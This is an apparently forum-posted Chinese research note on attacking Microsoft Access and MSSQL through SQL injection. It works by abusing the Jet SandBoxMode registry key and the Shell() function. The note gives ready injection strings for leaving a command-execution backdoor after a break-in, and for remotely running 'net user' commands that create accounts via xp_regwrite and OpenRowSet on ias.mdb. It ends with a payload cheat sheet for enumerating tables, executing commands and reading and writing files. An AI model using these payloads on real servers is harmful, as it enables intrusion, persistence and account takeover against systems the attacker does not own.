現(xiàn)在我們在腳本注入攻擊的技術(shù)中,常用的手法分好多種,最普通的是利用子查詢或者是Union聯(lián)合查詢來取得一些特殊表中的內(nèi)容,比如Admin,Log表等等,這是一種純粹的對數(shù)據(jù)庫的攻擊方式,而MSSQL Server的方法則更為多樣和復(fù)雜, 當(dāng)我們?nèi)〉眠B接權(quán)限較高的注入點(diǎn)的時(shí)候,我們可以利用MSSQL Server本身所帶的擴(kuò)展來執(zhí)行命令,或者是獲取目錄,讀取文件與修改注冊表;在低權(quán)用戶的連接中,我們則可以試用差異備份, 或者干脆就是跑數(shù)據(jù)庫等方式來實(shí)現(xiàn)對系統(tǒng)的直接攻擊或者是間接的攻擊.再則則是類似于Oracle\MySQL\DB2這些非MS直接支持的數(shù)據(jù)庫關(guān)于他們,我們也有多種多樣的攻擊手法,執(zhí)行命令,導(dǎo)出文件或讀取文件等. 以上是一些我們針對常用數(shù)據(jù)庫的攻擊方式的大體總結(jié),不難看出,其中最雞肋的,要算是Access的數(shù)據(jù)庫了.一來在Access中,無法直接獲取數(shù)據(jù)庫中的表名和字段名稱,二來在Access中,我們能做的東西非常少, 再說也不支持多語句的SQL語法,和T-SQL的標(biāo)準(zhǔn)又有不少的區(qū)別,讓人覺得Access數(shù)據(jù)庫中僅有的Insert,Update,Select,Delte,Produce僅僅是對SQL語句的封裝而已.所以,我們依舊需要對Access進(jìn)行研究. 在這篇研究筆記中,我所參考的文章和資料,有部分來自nsfocus和xFocus早在2000-2002年的文檔,另一篇?jiǎng)t是SuperHei所發(fā)表的<關(guān)于Access的一些測試>, 大家可以在http://www.4ngel.net/安全天使安全小組的網(wǎng)站上查詢到.OK,廢話不要太多,我們繼續(xù)研究. 我們可以去翻看微軟在剛推出Windows 2000的時(shí)候曾經(jīng)出現(xiàn)過幾個(gè)非常大的腳本漏洞的漏洞公告,其中比如cateloy_type.asp的遠(yuǎn)程注入漏洞和Msadscs.dll漏洞等都涉及了與現(xiàn)在的攻擊手法或者是常用的利用方法極為不同的地方, 比如Catelog_type.asp的注入漏洞,它的代碼中出現(xiàn)的問題是這樣的: "select * from cateloy where type='" & Requset("Type") & "'" 誰都能看明白這是一個(gè)非常低級(jí)的注入漏洞,直接將Type的值放入SQL語句中查詢,并沒有估計(jì)到用戶的惡意輸入. 如果換作現(xiàn)在,我們基本上只有拿來跑表份,幸好MS沒設(shè)置類似PHP的gpc,否則我們將一事無成.但是我們可以查看這篇漏洞資料的利用方式,其中涉及到了一個(gè)SQL語句: Select * from Sometable where somefield='|Select Shell("cmd.exe /c dir")|' 關(guān)于這個(gè)語句的介紹,是漏洞資料中所說的,Access允許用"|"來創(chuàng)建VBA函數(shù),導(dǎo)致命令被執(zhí)行,其實(shí)這只是Access內(nèi)置的一個(gè)特殊函數(shù)而已,相類似的還有cudir和Command函數(shù).具體的我們可以在Access中測試.測試的SQL語句如下: Select Shell("cmd.exe /c dir c:\ > c:\kevin.txt") 回到C盤,我們果然看到了kevin.txt.說明語句執(zhí)行成功了. 然后我們將其轉(zhuǎn)到腳本中測試吧.編寫如下的VBS腳本 Set Conn=Createobject("Adodb.Connection") Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=kevins4t.mdb" Set Rs=Conn.execute("Select Shell(""cmd.exe /c dir c:\ > c:\kevin.txt"")") Msgbox Rs(0) 這一此出現(xiàn)的結(jié)果很出乎我們的意料,錯(cuò)誤的原因是"表達(dá)式中的'Shell'函數(shù)未定義".現(xiàn)在我們需要安靜下來喝杯咖啡然后思考為什么同樣的語句在不同的執(zhí)行者間會(huì)出現(xiàn)如此截然不同的問題.一個(gè)能正常執(zhí)行, 而另外一個(gè)則是找不到函數(shù).試想微軟一定在其中的什么地方設(shè)置了一個(gè)開關(guān),那么我們就去微軟的知識(shí)庫去了解一下. 在微軟的一篇關(guān)于沙盒模式的文檔中,我們了解到一些內(nèi)容: 為了安全起見,MS在Jet引擎的Sp8中,設(shè)置了一個(gè)名為SandBoxMode的開關(guān),這個(gè)開關(guān)是開啟一些特殊函數(shù)在另外的執(zhí)行者中執(zhí)行的權(quán)限的.它的注冊表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默認(rèn)是2.微軟關(guān)于這個(gè)鍵值的介紹為:0為在任何所有者中中都禁止起用安全設(shè)置,1為僅在允許的范圍之內(nèi), 2則是必須是Access的模式下(這就是為什么我們能在Access中執(zhí)行成功的原因.),3則是完全開啟,連Access中也不支持. 那么好吧,我們來看看如果將值變?yōu)?將會(huì)怎樣. 這次運(yùn)行我們的VBS的時(shí)候,出現(xiàn)的情況是一組數(shù)字,再在C盤下查看文件,果然看到了我們的kevin.txt.很神奇吧.原來Access也是可以執(zhí)行命令的,只是微軟這家伙總是懶得說出來而已.但是如果在實(shí)際方面會(huì)怎樣呢? 一.后門的設(shè)置 我們的運(yùn)用將會(huì)很窄.真的,一來我們需要的權(quán)限很高,起碼要到能改注冊表的權(quán)限,默認(rèn)是Admin和LocalSystem,二來是我們將如何修改注冊表,遠(yuǎn)程嗎?沒門的.所以我們只好將其當(dāng)作一個(gè)后門用. 只要我們修改了注冊表的值,那么在普通的注入語句中,這是一個(gè)很不錯(cuò)的后門方式,最起碼可以在外部執(zhí)行一些小小的命令什么的. 比如我們在滲透某個(gè)站點(diǎn)的時(shí)候拿到了最高權(quán)限,并且修改了這個(gè)SandBoxMode,之后我們被管理員掃地出門了.那么,在首頁的某個(gè)地方依舊存在這一個(gè)Select的注入點(diǎn),這樣最好,我們讓服務(wù)器執(zhí)行如下的SQL就行了. InjectionURL' and 0<>(select shell("cmd.exe /c net user > c:\inetpub\wwwroot\kevins4t.txt")) 這樣我們就可以一步一步的將重新服務(wù)器拿下. 二.遠(yuǎn)程攻擊 這將是一個(gè)很有意思的話題.首先我們必須有修改注冊表的權(quán)限,二是有修改注冊表的條件,三是可以執(zhí)行SandboxMode的環(huán)境,必須三樣同時(shí)滿足才行,到底是在什么情況下呢? 我們知道,我們平時(shí)在雜志上看到的文章,很多的無非就是在一個(gè)以Sa連接的InjectionURL中苦苦掙扎,一是執(zhí)行命令,如果去掉了擴(kuò)展或者是將擴(kuò)展需要的DLL移走,我們將一無所用.那么聰明的你是否想到了方法? 我們知道,只有Sa的權(quán)限才有可能去打開另外一個(gè)Access的連接的,當(dāng)我們滿足了打開Access的條件的同時(shí),我們也滿足了修改注冊表的條件和權(quán)限,因?yàn)镸SSQL有一個(gè)名為xp_regwrite的擴(kuò)展,它的作用是修改注冊表的值.語法如下 exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value 那我們只要將SandBoxMode修改為0或者1就成功了.然后則是MSSQL的OpenRowSet函數(shù),它用于打開一個(gè)特殊的數(shù)據(jù)庫或者連接到另一個(gè)數(shù)據(jù)庫之中.當(dāng)我們具備SysAdmin的權(quán)限的時(shí)候,我們就可以做到打開Jet引擎.那么我們只要連接到一個(gè)Access數(shù)據(jù)庫中, 然后執(zhí)行命令就可以了.但是關(guān)鍵的問題是如何尋找這個(gè)Access數(shù)據(jù)庫. 關(guān)于這個(gè)問題我以前想了很多,一開始是想,利用目錄便歷來查詢數(shù)據(jù)庫的位置.但是這種方法成功率不會(huì)很高,有的時(shí)候我們碰到很多的站點(diǎn)都設(shè)置了非常好的權(quán)限,無法找到MDB數(shù)據(jù)庫.這是最為煩惱的地方. 不過后來我想到了一些前人用過的方式,系統(tǒng)里本來就有2-3個(gè)現(xiàn)存的數(shù)據(jù)庫嘛,何必費(fèi)神的去找呢?它們的位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\dnary.mdb這樣一來,我們有了執(zhí)行宿主,就沒什么好怕的了.執(zhí)行一下我們所需要的命令吧 InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user kevin 1986 /ad")');-- 這樣,我們就執(zhí)行了命令了.而且繼承的是MSSQL的LocalService的System權(quán)限.
--------------------------------------------------------------------------------------------------------------------------------------------------------
用戶表 SELECT Name FROM msysobjects WHERE Type = 1 and flags=0 所有表 SELECT Name FROM msysobjects WHERE Type = 1
判斷版本: SELECT NULL FROM MSysModules2 '97 SELECT NULL FROM MSysAccessObjects '97 2000 SELECT NULL FROM MSysAccessXML '2000 2002-2003 SELECT NULL FROM MSysAccessStorage '2002-2003 2007
SandBoxMode: SandBoxMode的開關(guān),這個(gè)開關(guān)是開啟一些特殊函數(shù)在另外的執(zhí)行者中執(zhí)行的權(quán)限的.它的注冊表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默認(rèn)是2. 微軟關(guān)于這個(gè)鍵值的介紹為:0為在任何所有者中中都禁止起用安全設(shè)置,1為僅在允許的范圍之內(nèi), 2則是必須是Access的模式下(這就是為什么我們能在Access中執(zhí)行成功的原因.),3則是完全開啟,連Access中也不支持.
執(zhí)行命令: Select Shell("cmd.exe /c dir c:\ > c:\kevin.txt")
讀文件 SELECT * FROM [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin.txt]
寫文件:【不能在子查詢和UNION查詢中,實(shí)用價(jià)值不大】 SELECT "text to write" into [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin1.txt]
當(dāng)前路徑:sandboxing enable select curdir() from msysaccessobjects select dir('c:\ ') from msysaccessobjects select environ(1) from msysaccessobjects select filedatetime('c:\boot.ini') from msysaccessobjects select filelen('c:\boot.ini') from msysaccessobjects select getattr('c:\ ') from msysaccessobjects select shell('cmd.exe /c dir c:\ > c:\kevin.txt') from msysaccessobjects
跨文件查詢: SELECT * FROM dv_address IN 'D:\dailian\bbs\Dvbbs8.2.0_Ac\Data\IPaddress.mdb'
連接MSSQL: SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=(local);UID=sa;PWD=2853wang; DATABASE=master].Information_Schema.Tables |